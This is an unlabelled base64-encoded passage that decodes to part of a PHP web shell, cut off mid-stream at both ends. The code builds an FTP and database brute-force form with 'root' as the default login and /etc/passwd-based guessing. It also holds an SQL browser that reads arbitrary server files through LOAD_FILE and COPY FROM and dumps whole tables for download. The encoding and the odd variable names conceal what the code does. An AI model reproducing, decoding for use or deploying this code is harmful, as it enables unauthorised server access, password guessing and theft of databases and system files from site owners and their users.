c3Bhbj4gJGF0dGVtcHRzIDxzcGFuPlN1Y2Nlc3M6PC9zcGFuPiAkc3VjY2VzczwvZGl2Pjxicj4i OwoJfQoJZWNobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRh YmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicKCQku Jzx0ZD48bGFiZWw+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0 aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3Fs PlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjwvdGQ+PC90cj48dHI+PHRkPicK CQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygk R0xPQkFMU1snY3dkJ10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9 IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+JwoJCS4nPGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY2hhcnNl dCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1uZSAgdmFsdWU9IiI+JwoJCS4n PHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBu YW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48c3Bh bj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9 dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L3RkPjwvdHI+JwoJCS4nPHRyPjx0 ZD48L3RkPjx0ZCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94 IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwv dGQ+PC90cj4nCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlw ZSB2YWx1ZT0iMiI+IERpY3Rpb25hcnk8L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48 dGFibGUgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48dHI+PHRkPjxzcGFuPkxvZ2luPC9zcGFu PjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0icm9vdCI+ PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicKCQku Jzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdCB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJz KCRHTE9CQUxTWydjd2QnXSkuJ3Bhc3N3ZC5kaWMiPjwvdGQ+PC90cj48L3RhYmxlPicKCQkuJzwv dGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0 Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVy KCk7Cn0KZnVuY3Rpb24gYWN0aW9uU3FsKCkgewoJY2xhc3MgRGJDbGFzcyB7CgkJdmFyICR0eXBl OwoJCXZhciAkbGluazsKCQl2YXIgJHJlczsKCQlmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSkJ ewoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOwoJCX0KCQlmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAk dXNlciwgJHBhc3MsICRkYm5hbWUpewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2Ug J215c3FsJzoKCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNl ciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwn OgoJCQkJCSRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsKCQkJCQlpZighJGhvc3RbMV0pICRo b3N0WzFdPTU0MzI7CgkJCQkJaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRo b3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9 JGRibmFtZSIpICkgcmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNl OwoJCX0KCQlmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7 CgkJCQljYXNlICdteXNxbCc6CgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4g dHJ1ZTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHF1 ZXJ5KCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7CgkJCQljYXNlICdteXNxbCc6CgkJ CQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7CgkJCQkJYnJlYWs7CgkJ CQljYXNlICdwZ3NxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMt PmxpbmssJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5j dGlvbiBmZXRjaCgpIHsKCQkJJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6 JHRoaXMtPnJlczsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJ CQkJcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsKCQkJCQlicmVhazsKCQkJCWNhc2Ug J3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOwoJCQkJCWJyZWFrOwoJ CQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gbGlzdERicygpIHsKCQkJc3dpdGNo KCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAg IHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7CgkJCQlicmVhazsKCQkJCWNh c2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNU IGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsKCQkJ CWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gbGlzdFRhYmxlcygp IHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJcmV0dXJu ICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CgkJCQlicmVhazsKCQkJ CWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2Vs ZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxl X3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19j YXRhbG9nJyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlv biBlcnJvcigpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJ CQkJcmV0dXJuIEBteXNxbF9lcnJvcigpOwoJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJ CQkJcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFs c2U7CgkJfQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5 cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3Nl dF9jaGFyc2V0JykpCgkJCQkJCXJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMt PmxpbmspOwoJCQkJCWVsc2UKCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIp OwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVu dF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJu IGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7CgkJCXN3aXRjaCgkdGhpcy0+ dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMt PnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUi KSk7CgkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoIkNSRUFU RSBUQUJMRSBoYXJkMihmaWxlIHRleHQpO0NPUFkgaGFyZDIgRlJPTSAnIi5hZGRzbGFzaGVzKCRz dHIpLiInO3NlbGVjdCBmaWxlIGZyb20gaGFyZDI7Iik7CgkJCQkJJHI9YXJyYXkoKTsKCQkJCQl3 aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkKCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107CgkJCQkJJHRo aXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIGhhcmQyJyk7CgkJCQkJcmV0dXJuIGFycmF5KCdmaWxlJz0+ aW1wbG9kZSgiXG4iLCRyKSk7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJ CWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgewoJCQlzd2l0Y2goJHRoaXMtPnR5 cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENS RUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJy YXkoJHJlcyk7CgkJCQkJJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7CiAgICAgICAgICAgICAgICAg ICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwoJCQkJCSR0aGlz LT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKICAgICAgICAgICAgICAgICAg ICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwoJCQkJCXdoaWxlKCTi lp8gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7 CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICUgMTAwMCA9PSAwKSB7CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAkc3FsID0gIjtcblxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkkY29sdW1u cyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsKICAgICAgICAgICAg ICAgICAgICAgICAgICAgIGlmKCR2ID09PSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICTilp9bJGtdID0gIk5VTEwiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxz ZWlmKGlzX2ludCgkdikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10g PSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAk4pafWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2 KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQogICAgICAgICAg ICAgICAgICAgICAgICBpZigkaGVhZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNx bCAuPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMp LiIpIFZBTFVFUyBcblx0KCIuaW1wbG9kZSgiLCAiLCAk4pafKS4nKSc7CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVs c2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuaW1wbG9kZSgi LCAiLCAk4pafKS4nKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRm cCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsK CQkJCQl9CiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQogICAgICAgICAgICAgICAgICAg ICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7CgkJ CQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZS T00gJy4kdGFibGUpOwoJCQkJCXdoaWxlKCTilp8gPSAkdGhpcy0+ZmV0Y2goKSkgewoJCQkJCQkk Y29sdW1ucyA9IGFycmF5KCk7CgkJCQkJCWZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsKCQkJCQkJ CSTilp9bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAk azsKCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcu JHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUo IiwgIiwgJOKWnykuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3 cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCX0K CQkJcmV0dXJuIGZhbHNlOwoJCX0KCX07CgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUn XSk7CglpZigoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgJiYgKEAkX1BPU1RbJ3AxJ10hPSdz ZWxlY3QnKSkgewoJCSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3Fs X2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsKCQkkZGIt PnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hh cnNldCddKSB7CiAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNl dCgnY3AxMjUxJyk7IGJyZWFrOwogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hh cnNldCgndXRmOCcpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRD aGFyc2V0KCdrb2k4cicpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5z ZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGIt PnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwogICAgICAgIH0KICAgICAgICBpZihlbXB0eSgk X1BPU1RbJ2ZpbGUnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQw OTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7 IGZpbGVuYW1lPWR1bXAuc3FsIik7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0 ZXh0L3BsYWluIik7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikKCQkJ CSRkYi0+ZHVtcCgkdik7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlaWYoJGZwID0g QGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7CiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NU Wyd0YmwnXSBhcyAkdikKICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsKICAgICAg ICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7CiAgICAg ICAgfSBlbHNlCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBv cGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOwoJfQoJaGFyZEhl YWRlcigpOwoJZWNobyAiCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pgo8 Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUg Y2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+Cjx0ZD5UeXBlPC90ZD48dGQ+SG9z dDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRk PjwvdGQ+PC90cj48dHI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW5lIHZhbHVlPScnPjxpbnB1 dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAx IHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0 IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1sn Y3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNz ZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic+Cjx0ZD48bGFi ZWw+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjsKICAgIGlmKEAk X1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7CmVjaG8gIj5NeVNxbDwvb3B0 aW9uPjxvcHRpb24gdmFsdWU9J3Bnc3FsJyAiOwppZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcp ZWNobyAnc2VsZWN0ZWQnOwplY2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvbGFi ZWw+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT1cIiIuIChl bXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9Q T1NUWydzcWxfaG9zdCddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNx bF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRt bHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiJcIj48L3RkPgo8dGQ+PGlucHV0 IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bh c3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIlwiIHJlcXVp cmVkPjwvdGQ+PHRkPiI7CgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2 YWx1ZT0nJz4iOwoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CgkJaWYoJGRiLT5jb25u ZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxf cGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7CgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQn XSkgewoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsg YnJlYWs7CgkJCQljYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsK CQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7CgkJCQlj YXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOwoJCQkJY2FzZSAi Y3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOwoJCQl9CgkJCSRkYi0+bGlz dERicygpOwoJCQllY2hvICI8bGFiZWw+PHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFs dWU9Jyc+PC9vcHRpb24+IjsKCQkJd2hpbGUoJOKWnyA9ICRkYi0+ZmV0Y2goKSkgewoJCQkJbGlz dCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsKCQkJCWVjaG8gJzxvcHRpb24gdmFsdWU9Iicu JHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+ Jy4kdmFsdWUuJzwvb3B0aW9uPic7CgkJCX0KCQkJZWNobyAnPC9zZWxlY3Q+PC9sYWJlbD4nOwoJ CX0KCQllbHNlIGVjaG8gJHRtcDsKCX1lbHNlCgkJZWNobyAkdG1wOwoJZWNobyAiPC90ZD4KCQkJ CTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCcgb25jbGljaz0nZnMoZC5zZik7 Jz48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3Fs X2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hl Y2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4KCQkJPC90cj4KCQk8L3Rh YmxlPgoJCTxzY3JpcHQ+CiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydz cWxfYmFzZSddKS4iJzsKICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgewogICAgICAgICAgICAg ICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7 fTsKICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAg ICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAgICAgaWYo Zi5wMykgZi5wMy52YWx1ZT0nJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoJCQlm dW5jdGlvbiBzdCh0LGwpIHsKCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsKCQkJCWQuc2Yu cDIudmFsdWUgPSB0OwogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZh bHVlID0gbDsKCQkJCWQuc2Yuc3VibWl0KCk7CgkJCX0KCQkJZnVuY3Rpb24gaXMoKSB7CgkJCQlm b3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQoJCQkJCWQuc2YuZWxl bWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNo ZWNrZWQ7CgkJCX0KCQk8L3NjcmlwdD4iOwoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspewoJ CWVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0w PiI7CgkJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsKCQkJCSRkYi0+c2VsZWN0ZGIo JF9QT1NUWydzcWxfYmFzZSddKTsKCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9y ZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOwoJ CQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJCQl3aGlsZSgk4pafID0gJGRiLT5m ZXRjaCgkdGJsc19yZXMpKSB7CgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsK ICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpCiAgICAg ICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09V TlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7CgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxj aGFycygkdmFsdWUpOwoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFt ZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0 KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9j b3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2Jy Pjxicj4iOwoJCQkJfQoJCQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdp cygpOyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQu c2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUg cGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRk IHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsKCQkJCWlmKEAkX1BPU1RbJ3Ax J10gPT0gJ3NlbGVjdCcpIHsKCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVlcnknOwogICAgICAgICAg ICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX1BPU1RbJ3AzJ106MTsKCQkJ CQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10p 